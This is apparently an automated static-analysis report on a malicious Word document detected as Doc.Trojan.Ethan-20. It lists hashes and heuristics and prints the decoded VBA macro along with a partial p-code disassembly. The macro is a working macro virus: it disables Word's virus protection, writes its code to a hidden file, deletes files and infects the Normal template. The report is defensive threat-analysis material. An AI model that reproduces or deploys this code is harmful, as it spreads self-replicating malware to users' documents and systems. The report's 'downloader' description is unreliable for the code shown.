Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59f7899bef910d12…

MALICIOUS

Office (OLE)

36.0 KB Created: 2000-08-25 19:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 519cf231ddaaff184671660c9fb3ad7a SHA-1: 299c4ecab5d12c2e35794eeed937d4f6db77cb4d SHA-256: 59f7899bef910d12751a92fd70b970378053f71d5a1ac4621cfaa1135b2afdcb
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that are designed to write their own code to the Normal template and then save the document. This behavior is indicative of a downloader or dropper mechanism. The macro attempts to create and manipulate files such as 'c:\MSDOS.___' and 'c:\class.sys', suggesting it is preparing to execute a secondary payload. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports the malicious nature of the file.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6626 bytes
SHA-256: d5c6ec9876f2f73c8107edd938f2f2bfc191d4504732844ab29bebb0f81ddcfe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = wdCancelDisabled
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\MSDOS.___", 6) = "" Then
Open "c:\MSDOS.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\MSDOS.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If Dir("c:\calvert.___", 6) <> "" Then SetAttr "c:\calvert.___", 0: Kill "c:\calvert.___"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\MSDOS.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.5 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "R'Sink - 2000": .Author = "R'Sink": .Keywords = "R'Sink": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub

' Processing file: /opt/analyzer/scan_staging/24958751a3a64776a85dd5609d5d59f7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3654 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St s 
' Line #3:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000C "c:\MSDOS.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000C "c:\MSDOS.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St a 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld a 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000C "c:\MSDOS.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000C "c:\class.sys"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #16:
' 	LitStr 0x000E "c:\calvert.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000E "c:\calvert.___"
' 	LitDI2 0x0000 
' 	ArgsCall SetAttr 0x0002 
' 	BoS 0x0000 
' 	LitStr 0x000E "c:\calvert.___"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #17:
' 	LitDI2 0x0001 
' 
... (truncated)

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